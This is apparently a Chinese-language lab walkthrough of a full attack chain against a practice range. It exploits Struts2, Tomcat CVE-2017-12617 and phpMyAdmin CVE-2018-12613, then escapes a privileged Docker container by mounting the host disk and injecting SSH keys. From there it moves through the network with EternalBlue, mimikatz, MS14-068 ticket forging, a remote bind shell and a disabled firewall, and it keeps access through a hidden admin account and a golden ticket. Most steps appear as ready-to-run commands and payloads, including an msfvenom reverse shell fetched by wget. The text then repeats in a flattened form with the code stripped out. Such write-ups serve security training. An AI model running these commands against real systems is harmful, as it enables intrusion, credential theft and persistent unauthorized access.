记一次docker逃逸学习
字数 1500 2025-08-05 00:16:28

Docker逃逸与内网渗透实战教学文档

1. 环境搭建与目标识别

1.1 靶场环境

  • 靶机系统: Ubuntu
  • 网络配置:
    • 内网IP: 192.168.183.10
    • 外网IP: 192.168.1.6
  • 域内主机:
    • Win7: 192.168.183.129
    • Win2008: 192.168.183.130 (域控)
  • Docker服务端口:
    • 2001: Struts2
    • 2002: Tomcat8
    • 2003: phpMyAdmin 4.8.1

2. 外网打点

2.1 端口扫描

使用Nmap进行初步扫描:

nmap -T4 -sC -sV 192.168.1.6

发现三个关键端口: 2001(Struts2), 2002(Tomcat8), 2003(phpMyAdmin)

2.2 Struts2漏洞利用(S2-046)

  1. 使用漏扫工具检测发现存在S2-045和S2-046漏洞
  2. S2-045尝试失败后,成功利用S2-046实现命令执行
  3. 尝试上传JSP webshell但路径访问失败

2.3 Tomcat8漏洞利用(CVE-2017-12617)

  1. 使用searchsploit查找Tomcat 8.5.19漏洞:
searchsploit tomcat 8.5.19
searchsploit -m /exploit/jsp/webapps/42966.py
  1. 验证漏洞存在:
python 42966.py -u http://192.168.1.6:2002/
  1. 执行攻击获取反弹shell:
python 42966.py -u http://192.168.1.6:2002/ -p pwn
  1. 生成Linux木马并上线MSF:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf > shell.elf
python -m SimpleHTTPServer  # 用于靶机下载

靶机执行:

wget http://192.168.1.10:8000/shell.elf
chmod 777 shell.elf
./shell.elf

MSF监听配置:

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.1.10
set lport 4444
run

2.4 phpMyAdmin漏洞利用(CVE-2018-12613)

  1. 文件包含漏洞分析:
    • 需要满足五个条件绕过检查
    • 关键点: 对?进行二次编码(%253f)
  2. 构造payload读取文件:
index.php?target=db_sql.php%253f/etc/passwd
  1. 写入webshell:
    • 先写入phpinfo获取session ID
    • 构造payload包含session文件获取webshell

3. 内网渗透与Docker逃逸

3.1 信息收集

  1. 发现多个网络接口(eth0, eth1)和额外IP
  2. 确认处于Docker容器环境

3.2 Privileged特权模式逃逸

  1. 原理: Docker特权模式(--privileged)允许容器访问主机设备
  2. 操作步骤:
mkdir /tmptest  # 创建挂载目录
mount /dev/sda1 /tmptest  # 挂载主机磁盘
ls /tmptest  # 查看主机文件系统
  1. SSH密钥注入:
ssh-keygen -f tmp  # 生成密钥
chmod 600 tmp  # 设置权限
# 写入主机authorized_keys
echo 'ssh-rsa AAAAB3Nza...' > /tmptest/home/ubuntu/.ssh/authorized_keys
  1. SSH连接宿主机:
ssh -i tmp ubuntu@192.168.1.6

3.3 上线宿主机到MSF

  1. 生成Linux木马并执行(同2.3步骤)
  2. 成功获取宿主机meterpreter会话

4. 内网横向移动

4.1 存活探测

  1. 添加路由:
route add 192.168.183.0 255.255.255.0 3
  1. 设置SOCKS代理:
use auxiliary/server/socks_proxy
set version 4a
run
  1. 使用proxychains扫描内网:
proxychains4 nmap -sT -Pn 192.168.183.1/24

或使用MSF模块:

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.1-255
set threads 20
run

4.2 永恒之蓝攻击(MS17-010)

  1. 攻击Win7(192.168.183.129):
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.129
run
  1. 进程迁移到x64系统进程
  2. 信息收集:
chcp 65001  # 设置中文编码
net user
net view /domain

4.3 密码获取

  1. 使用mimikatz:
upload /path/to/mimikatz.exe
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
  1. 获取到域凭据: douser/Dotest123

4.4 域控横向移动

  1. 使用MS14-068伪造票据:
ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
  1. 注入票据:
mimikatz # kerberos::ptc TGT_douser@DEMO.com.ccache
  1. IPC连接域控:
net use \\WIN-ENS2VR5TR3N
  1. 上传并执行bind shell:
msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.1.10 lport=4444 -f exe -o bind.exe
copy bind.exe \\WIN-ENS2VR5TR3N\C$\Users\Desktop\
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell
  1. 关闭域控防火墙:
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall

4.5 权限维持

  1. 添加隐藏用户:
net user admin$ qaz123!@# /add
net localgroup administrators admin$ /add
  1. 金票攻击(可选):
mimikatz # kerberos::golden /user:Administrator /domain:DEMO.com /sid:S-1-5-21-979886063-1111900045-1414766810 /krbtgt:hash /ticket:golden.kirbi

5. 关键知识点总结

  1. Docker逃逸技术:

    • Privileged特权模式逃逸
    • 挂载主机文件系统
    • SSH密钥注入
  2. 漏洞利用链:

    • Struts2 (S2-046)
    • Tomcat (CVE-2017-12617)
    • phpMyAdmin (CVE-2018-12613)
    • MS17-010 (永恒之蓝)
    • MS14-068 (Kerberos提权)
  3. 内网渗透技巧:

    • 路由添加与SOCKS代理
    • mimikatz密码提取
    • 票据伪造与传递
    • 隐藏用户创建
  4. 权限维持方法:

    • 金票/银票攻击
    • 隐藏用户
    • 计划任务持久化

本教学文档详细记录了从外网打点到内网渗透,再到Docker逃逸和域控拿下的完整过程,涵盖了多个关键漏洞的利用方法和内网渗透技巧。

Docker逃逸与内网渗透实战教学文档 1. 环境搭建与目标识别 1.1 靶场环境 靶机系统 : Ubuntu 网络配置 : 内网IP: 192.168.183.10 外网IP: 192.168.1.6 域内主机 : Win7: 192.168.183.129 Win2008: 192.168.183.130 (域控) Docker服务端口 : 2001: Struts2 2002: Tomcat8 2003: phpMyAdmin 4.8.1 2. 外网打点 2.1 端口扫描 使用Nmap进行初步扫描: 发现三个关键端口: 2001(Struts2), 2002(Tomcat8), 2003(phpMyAdmin) 2.2 Struts2漏洞利用(S2-046) 使用漏扫工具检测发现存在S2-045和S2-046漏洞 S2-045尝试失败后,成功利用S2-046实现命令执行 尝试上传JSP webshell但路径访问失败 2.3 Tomcat8漏洞利用(CVE-2017-12617) 使用searchsploit查找Tomcat 8.5.19漏洞: 验证漏洞存在: 执行攻击获取反弹shell: 生成Linux木马并上线MSF: 靶机执行: MSF监听配置: 2.4 phpMyAdmin漏洞利用(CVE-2018-12613) 文件包含漏洞分析: 需要满足五个条件绕过检查 关键点: 对 ? 进行二次编码( %253f ) 构造payload读取文件: 写入webshell: 先写入phpinfo获取session ID 构造payload包含session文件获取webshell 3. 内网渗透与Docker逃逸 3.1 信息收集 发现多个网络接口(eth0, eth1)和额外IP 确认处于Docker容器环境 3.2 Privileged特权模式逃逸 原理: Docker特权模式(--privileged)允许容器访问主机设备 操作步骤: SSH密钥注入: SSH连接宿主机: 3.3 上线宿主机到MSF 生成Linux木马并执行(同2.3步骤) 成功获取宿主机meterpreter会话 4. 内网横向移动 4.1 存活探测 添加路由: 设置SOCKS代理: 使用proxychains扫描内网: 或使用MSF模块: 4.2 永恒之蓝攻击(MS17-010) 攻击Win7(192.168.183.129): 进程迁移到x64系统进程 信息收集: 4.3 密码获取 使用mimikatz: 获取到域凭据: douser/Dotest123 4.4 域控横向移动 使用MS14-068伪造票据: 注入票据: IPC连接域控: 上传并执行bind shell: 关闭域控防火墙: 4.5 权限维持 添加隐藏用户: 金票攻击(可选): 5. 关键知识点总结 Docker逃逸技术 : Privileged特权模式逃逸 挂载主机文件系统 SSH密钥注入 漏洞利用链 : Struts2 (S2-046) Tomcat (CVE-2017-12617) phpMyAdmin (CVE-2018-12613) MS17-010 (永恒之蓝) MS14-068 (Kerberos提权) 内网渗透技巧 : 路由添加与SOCKS代理 mimikatz密码提取 票据伪造与传递 隐藏用户创建 权限维持方法 : 金票/银票攻击 隐藏用户 计划任务持久化 本教学文档详细记录了从外网打点到内网渗透,再到Docker逃逸和域控拿下的完整过程,涵盖了多个关键漏洞的利用方法和内网渗透技巧。